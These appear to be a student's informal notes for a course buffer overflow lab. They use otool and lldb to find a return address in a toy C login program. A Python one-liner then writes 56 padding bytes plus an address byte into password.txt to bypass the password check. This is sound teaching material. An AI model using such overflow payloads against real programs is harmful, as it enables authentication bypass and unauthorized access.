aiden pratt
6014 buffer overflow lab

created a password.txt file
copied the "superSecretPassword"
compiled and executed and successfully logged in with this password in the password.txt file
the goal is now to successfully login by putting a buffer overflow password in my password.txt that will still succeed, even when the password is incorrect.
used otool -tV ./a.out:
this gives the assembly of the C program
using lldb, set a breakpoint at success which gave one into the success method
this address was : 0000000100003de4

```
➜  buffer lab git:(main) ✗ lldb a.out
(lldb) target create "a.out"
Current executable set to '/Users/aidenpratt/Documents/Documents - Aiden's MacBook
Pro/MSD-2024/MSD_2024_AP/6014/assignments/buffer lab/a.out' (x86_64).
(lldb) breakpoint set --name success
Breakpoint 1: where = a.out`success + 4 at login.c:22:24, address = 0x0000000100003de4
(lldb) run
```

I instead used the address that callq success in main which is 0000000100003ebb
I utilized this python command to add the necessary bytes to the password.txt which causes the correct overflow, which gets me into the successful login :

```
python3 -c  'import sys; sys.stdout.buffer.write(b"a"*56 + b"\xbb")' > password.txt
```

stack of the login() method here:

STACK
main()
login() subs 0x48, 72 bytes this clears room for the local variables
(56 bytes gap to fill with the overflow attack)
leaq Ox10 rsp rdi setting the 16 byte offset. from here need to cause a buffer overflow up to the login address, and there will insert the address of call_success. which is 0000000100003ebb